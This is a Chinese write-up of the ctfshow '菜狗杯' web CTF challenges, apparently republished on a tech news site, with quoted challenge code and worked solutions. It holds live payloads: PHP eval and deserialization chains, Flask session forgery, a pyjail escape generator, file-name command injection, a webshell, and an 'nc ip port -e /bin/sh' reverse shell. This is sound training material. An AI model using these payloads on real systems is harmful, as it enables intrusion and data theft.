iis服务器助手广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >ctfshow【菜狗杯】wp
  • 135
分享到

ctfshow【菜狗杯】wp

flaskphppython安全web安全 2023-08-31 11:08:26 135人浏览 独家记忆
摘要

文章目录 webweb签到web2 c0me_t0_s1gn我的眼里只有$抽老婆一言既出驷马难追TapTapTapWebshell化零为整无一幸免无一幸免_FIXED传说之下(雾)算力超群算力

文章目录

WEB

web签到

PHPerror_reporting(0);highlight_file(__FILE__);eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

仔细观察题目,这题就是套娃,

首先我们需要传个cookie,名为 CTFshow-QQ群: 但是一直不起作用,

我们需要将它进行url编码,此处值为:a

$_POST[a]=b -> $_GET[b]=c ->

$_REQUEST[c][6][0][7][5][8][0][9][4][4]=system('ls');

注意:c应该传一个数组

web2 c0me_t0_s1gn

源码有前一半flag,控制台有另一半

我的眼里只有$

phperror_reporting(0);extract($_POST);eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);highlight_file(__FILE__);

这是一个php变量覆盖题,要弄好多层,自己敲很麻烦,我们应该写个python脚本

总共36个$。这里有一个extract() 函数:

image-20230306112022365

这个函数可以将此处$_POST 数组中的键名赋值为变量,我们只需要在post中传参即可

import strinGCode = "assert($_GET[1]);"s = string.ascii_letters  # 获取所有大小写英文字母post = "_=a&"for i in range(34):    post += s[i] + "=" + s[i+1] + "&"post += s[i+1] + "=" + codeprint(post)

输出:

_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=assert($_GET[1]);

我们只需要使用get传参,命令执行即可

抽老婆

打开页面发现一个下载的按钮,点击后可以下载图片

image-20230306113940399

url:

Http://3cef0567-fe4d-413D-911e-ebf363d7fda8.challenge.ctf.show/download?file=0df74e7fc6614180ee892683f13d5abf.jpg

这里好像存在任意文件下载漏洞,我们随便输入一个路径:

image-20230306113847191

我们发现这个是 Pythonflask框架,于是我们想要去读取 /app/app.py文件,

使用相对路径成功读取

image-20230306114101898

# !/usr/bin/env python# -*-coding:utf-8 -*-"""# File       : app.py# Time       :2022/11/07 09:16# Author     :g4_simon# version    :python 3.9.7# Description:抽老婆,哇偶~"""from flask import *import osimport randomfrom flag import flag#初始化全局变量app = Flask(__name__)app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'@app.route('/', methods=['GET'])def index():      return render_template('index.html')@app.route('/getwifi', methods=['GET'])def getwifi():    session['isadmin']=False    wifi=random.choice(os.listdir('static/img'))    session['current_wifi']=wifi    return render_template('getwifi.html',wifi=wifi)@app.route('/download', methods=['GET'])def source():     filename=request.args.get('file')    if 'flag' in filename:        return JSONify({"msg":"你想干什么?"})    else:        return send_file('static/img/'+filename,as_attachment=True)@app.route('/secret_path_U_never_know',methods=['GET'])def getflag():    if session['isadmin']:        return jsonify({"msg":flag})    else:        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})if __name__ == '__main__':    app.run(host='0.0.0.0',port=80,debug=True)

分析一下,这题考点就是 flask session伪造 ,只需要把 session['isadmin'] 改为true即可。

但是session伪造需要key,这里也给出了:tanji_is_A_boy_Yooooooooooooooooooooo!

于是我们可以使用脚本伪造cookie:

image-20230306114542730

我们将 isadmin改为True,然后再加密:

image-20230306114941255

该一下session访问路径得到flag

一言既出

highlight_file(__FILE__); include "flag.php";  if (isset($_GET['num'])){    if ($_GET['num'] == 114514){        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");        echo $flag;    } }

很简单,payload:

?num=114514-114514+1919810  //注意+需要url编码为:%2B,否则会被解析为空格

这里考察php弱比较,以及 intval()函数

官方wp,由于这里使用 assert()函数,可以将字符串当作代码执行,所以我们可以去闭合括号:

?num=);%23               使用#注释掉后面

驷马难追

 <?phphighlight_file(__FILE__); include "flag.php";  if (isset($_GET['num'])){     if ($_GET['num'] == 114514 && check($_GET['num'])){              assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");              echo $flag;     } } function check($str){  return !preg_match("/[a-z]|\;|\(|\)/",$str);} 

使用运算符绕过即可

TapTapTap

一个js小游戏题,直接找js源码:

image-20230306125703411

找到一串可疑代码,我们在控制台执行:

image-20230306125637870

该路径存在flag

Webshell

 <?php     error_reporting(0);    class Webshell {        public $cmd = 'echo "Hello World!"';        public function __construct() {            $this->init();        }        public function init() {            if (!preg_match('/flag/i', $this->cmd)) {                $this->exec($this->cmd);            }        }        public function exec($cmd) {            $result = shell_exec($cmd);            echo $result;        }    }    if(isset($_GET['cmd'])) {        $serializecmd = $_GET['cmd'];        $unserializecmd = unserialize($serializecmd);        $unserializecmd->init();    }    else {        highlight_file(__FILE__);    }?> 

一个简单的php反序列化

直接构造:

class Webshell {    public $cmd = "cat f*";}echo urlencode(serialize(new Webshell()));输出:O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22cat+f%2A%22%3B%7D

化零为整

highlight_file(__FILE__);include "flag.php";$result='';for ($i=1;$i<=count($_GET);$i++){    if (strlen($_GET[$i])>1){        die("你太长了!!");        }    else{    $result=$result.$_GET[$i];    }}if ($result ==="大牛"){    echo $flag;}

这题的意思是我们get传参数据长度为1,并且拼接后得到 大牛

如何实现呢?我之前想到的是unicode编码之类的,但是此处可以使用url编码:

echo urlencode("大牛");输出:%E5%A4%A7%E7%89%9B

然后get传参:

?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

无一幸免

include "flag.php";highlight_file(__FILE__);if (isset($_GET['0'])){    $arr[$_GET['0']]=1;    if ($arr[]=1){        die($flag);    }    else{        die("nonono!");    }}

这题有bug,直接给0传参就行

无一幸免_FIXED

include "flag.php";highlight_file(__FILE__);if (isset($_GET['0'])){    $arr[$_GET['0']]=1;    if ($arr[]=1){        die("nonono!");    }    else{        die($flag);    }}?>

这一题难点在于绕过 $arr[]=1 这一个恒真条件,这条语句的意思是:在数组后面添加一个元素1

64位有符号数,能表示最大数为: 2^63-1 = 9223372036854775807

我们只需传入:

?0=9223372036854775807

即可,这样数组的下一个元素下表越界了,则条件 $arr[]=1 为假

传说之下(雾)

观察源码,找js代码

image-20230306161257156

发现创建了一个 Game对象,里面记录的 分数 score

观察游戏:

image-20230306161510984

只要得到2077分就可以拿flag,

于是我们在控制台输入: Game.score=2077

然后玩游戏吃一个果子就行

算力超群

我们对计算进行抓包

image-20230306162704519

发现该题使用 python flask框架 并且该处可能可以使用命令执行,

我们可以使用 os.system() 进行命令执行,但是 os 模块需要进行导入,我们没有导入,怎么办呢

我们可以使用 __import__() 函数 进行动态导入模块

import() 函数用于动态加载类和函数 。

如果一个模块经常变化就可以使用 import() 来动态载入。

我们可以使用:

__import__('os').system('')

进行命令执行

此处我们测试number2 位置可以插入代码

我们可以使用 nc 命令反弹shell

__import__('os').system('nc ip port -e /bin/sh')

然后在服务器指定端口进行监听:

nc -lvp 9996

image-20230306164640732

我们可以直接在服务器执行命令,查看flag

如图成功得到flag

算力升级

    # !/usr/bin/env python    # -*-coding:utf-8 -*-    """    # File       : app.py    # Time       :2022/10/20 15:16    # Author     :g4_simon    # version    :python 3.9.7    # Description:算力升级--这其实是一个pyjail题目    """    from flask import *    import os    import re,gmpy2     import json    #初始化全局变量    app = Flask(__name__)    pattern=re.compile(r'\w+')    @app.route('/', methods=['GET'])    def index():          return render_template('index.html')    @app.route('/tiesuanzi', methods=['POST'])    def tiesuanzi():        code=request.fORM.get('code')        for item in pattern.findall(code):#从code里把单词拿出来            if not re.match(r'\d+$',item):#如果不是数字                if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较                   return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})        try:            result=eval(code)            return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})        except:            return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})    @app.route('/source', methods=['GET'])    def source():          return render_template('source.html')    if __name__ == '__main__':        app.run(host='0.0.0.0',port=80,debug=False)

这题好像是关于沙箱逃逸,我们先看一篇文章:[PyJail] python沙箱逃逸探究

我们仔细分析这一段代码:

pattern=re.compile(r'\w+')    code=request.form.get('code')        for item in pattern.findall(code):#从code里把单词拿出来            if not re.match(r'\d+$',item):#如果不是数字                if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较                   return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})        try:            result=eval(code)            return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})

这一段代码判断,首先把所有的字母、数字、下划线_ 拿出来(findall):单词,

如果单词不在gmpy2库中,则执行不了eval(),所以我们必须使用gmpy2库中的函数名来构造想要的代码。

dir()函数可以返回参数的属性以及函数列表。

例如,我们返回gmpy2 的列表:dir(gmpy2)

image-20230307114741408

根据分析,特殊字符可以随便使用,

我们需要使用图片中的函数名来构造payload。

观察可知,里面有:gmpy2__builtins__

__builtins__:包含当前运行环境中默认的所有函数与类。如上面所介绍的所有默认函数,如strchrorddictdir等。

我们使用 gmpy2.__builtins__ 查看其中存在的属性、函数,返回的是字典:

image-20230307115516500

其中包含 eval() 函数,我们需要通过gmpy2中有的函数来构造 eval

经过观察,gmpy2中存在:invertfaclcm 等函数,我们可以通过对字符串中字符取值,拼接为eval

gmpy2.__builtins__['invert'[3]+'invert'[2]+'fac'[1]+'lcm'[0]](

然后我们需要编写脚本,通过gmpy2函数,构造出eval()函数中的代码:

__import__('os').popen('cat /flag').read()

这一句的意思是,导入os模块,使用os.popen() 去执行命令,然后读取出来

我们自己写个脚本进行构造:

import gmpy2s = "__import__('os').popen('cat /flag').read()"payload = "gmpy2.__builtins__['invert'[3]+'invert'[2]+'fac'[1]+'lcm'[0]]("for i in s: # 遍历想执行的代码    if i in " '()/.":  # 如果是这些字符,就直接相加(注意结尾的加号+)         payload += f"\"{i}\"+"    else: # 如果是字母,我们需要使用gmpy2函数进行构造        temp_str = ""        temp_index = -1        for j in dir(gmpy2): # 遍历gmpy2中的函数            if i in j:# 如果函数中存在该字母                temp_index = j.find(i)  # 找到该字母下标                temp_str = j        payload += f"\"{temp_str}\"[{temp_index}]+"          # payload加上函数中指定下标,如 "invert"[3] 就是字母e,注意末尾加上加号+payload = payload[:-1] + ")" # 将末尾+替换为空格print(payload)

payload:

gmpy2.__builtins__['invert'[3]+'invert'[2]+'fac'[1]+'lcm'[0]]("xbit_mask"[4]+"xbit_mask"[4]+"xbit_mask"[2]+"xmpz"[1]+"xmpz"[2]+"zero"[3]+"zero"[2]+"zeta"[2]+"xbit_mask"[4]+"xbit_mask"[4]+"("+"'"+"zero"[3]+"xbit_mask"[7]+"'"+")"+"."+"xmpz"[2]+"zero"[3]+"xmpz"[2]+"zeta"[1]+"yn"[1]+"("+"'"+"unpack"[4]+"zeta"[3]+"zeta"[2]+" "+"/"+"root_of_Unity"[6]+"rint_floor"[6]+"zeta"[3]+"sign"[2]+"'"+")"+"."+"zero"[2]+"zeta"[1]+"zeta"[3]+"t_mod_2exp"[4]+"("+")")

easyPytHon_P

源码在此:from flask import requestcmd: str = request.form.get('cmd')param: str = request.form.get('param')# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓import subprocess, osif cmd is not None and param is not None:    try:        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)        print('Done!')    except subprocess.TimeoutExpired:        print('Timeout!')    except:        print('Error!')else:    print('No Flag!')

这题就是命令执行,但是我们不知道 subprocess.run() 是什么东西

其实就是执行命令的一个函数。

subprocess.run()

第一个args是最重要的,它就是要执行的命令。注意它必须是一个列表,里面的内容包括了命令和命令参数,比如:

subprocess.run(["ls", "-l", "/usr/bin"])

那么题中就是取cmd中前三个为命令,param为命令参数,__file__是当前文件路径(当param中传入的也是文件路径参数时,命令行会根据这两个路径参数分别执行成两条命令,输出两个结果);第二个cwd为当前工作路径,**os.getcwd()**就是返回进程的当前工作目录,timeout=5,就是超时时间最大设置为5s。

遍地飘零

 <?phpinclude "flag.php";highlight_file(__FILE__);$zeros="000000000000000000000000000000";foreach($_GET as $key => $value){    $$key=$$value;}if ($flag=="000000000000000000000000000000"){    echo "好多零";}else{    echo "没有零,仔细看看输入有什么问题吧";    var_dump($_GET);}没有零,仔细看看输入有什么问题吧array(0) { } 

观察题目

我们需要将 $_GET 变量值赋值为 $flag

这样我们通过 var_dump() 就可以将 flag内容输出了

payload:

_GET=flag

茶歇区

image-20230306165435312

这一题是叫我们买东西得到 114514分以上就行,但是我们经过尝试,不能输入负值,然后没有什么思路了。

看了wp,考点是整形溢出

64位的有符号数表示的最大范围是 2^63-1 = 9223372036854775807 19位数

但是此时这里进行 x10 运算,溢出太多也没有用,所以我们需要传入18位数,这样刚好溢出

例如: 932337203685477580

传两次得到flag

小舔田?

include "flag.php";highlight_file(__FILE__);class Moon{    public $name="月亮";    public function __toString(){        return $this->name;    }        public function __wakeup(){        echo "我是".$this->name."快来赏我";    }}class Ion_Fan_Princess{    public $nickname="牛夫人";    public function call(){        global $flag;        if ($this->nickname=="小甜甜"){            echo $flag;        }else{            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";        }    }        public function __toString(){        $this->call();        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;    }}if (isset($_GET['code'])){    unserialize($_GET['code']);}else{    $a=new Ion_Fan_Princess();    echo $a;}

简单反序列化:

class Moon{    public $name;    public function __construct() {        $this->name = new Ion_Fan_Princess();    }}class Ion_Fan_Princess{    public $nickname="小甜甜";}echo serialize(new Moon());payload:O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}

LSB探姬

源码:

    # !/usr/bin/env python    # -*-coding:utf-8 -*-    """    # File       : app.py    # Time       :2022/10/20 15:16    # Author     :g4_simon    # version    :python 3.9.7    # Description:TSTEG-WEB    # flag is in /app/flag.py    """    from flask import *    import os    #初始化全局变量    app = Flask(__name__)    @app.route('/', methods=['GET'])    def index():            return render_template('upload.html')    @app.route('/upload', methods=['GET', 'POST'])    def upload_file():        if request.method == 'POST':            try:                f = request.files['file']                f.save('upload/'+f.filename)                cmd="python3 tsteg.py upload/"+f.filename                result=os.popen(cmd).read()                data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}                return jsonify(data)            except:                data={"code":1,"message":"file upload error!"}                return jsonify(data)        else:            return render_template('upload.html')    @app.route('/source', methods=['GET'])    def show_source():        return render_template('source.html')    if __name__ == '__main__':        app.run(host='0.0.0.0',port=80,debug=False)

突破点:

cmd="python3 tsteg.py upload/"+f.filenameresult=os.popen(cmd).read()

这里可以进行 python 命令执行,只需要改一个文件名即可

filename="1;cat flag.py"

我们使用分号 ; 进行命令分隔,然后 cat即可

image-20230306173101904

Is_Not_Obfuscate

查看源码

image-20230306173407767

提示我们访问 robots.txt文件

image-20230306173829040

访问 /lib.php?flag=0 什么东西都没有,我们将 0 改为 1:

image-20230306173943135

发现一大堆编码

没有其他思路,我们继续查看首页:

image-20230306174236577

我们发现隐藏了一个 执行按钮,我们将value改为test,然后我们再将上述获得的编码放入input中:

image-20230306174540414

注意:需要将上述编码进行url编码一次,我们获得如下源码:

image-20230306174745354

我们主要关注这里:

image-20230306174848932

思路就是:我们将一句话木马push进去,之后使用pull拉取下来,进行命令执行

image-20230306180009955

image-20230306180042873

注意:要在命令后加入youyou 再进行md5编码:

image-20230306180125929

来源地址:https://blog.csdn.net/qq_61839115/article/details/129380863

--结束END--

本文标题: ctfshow【菜狗杯】wp

本文链接: https://www.lsjlt.com/news/385456.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作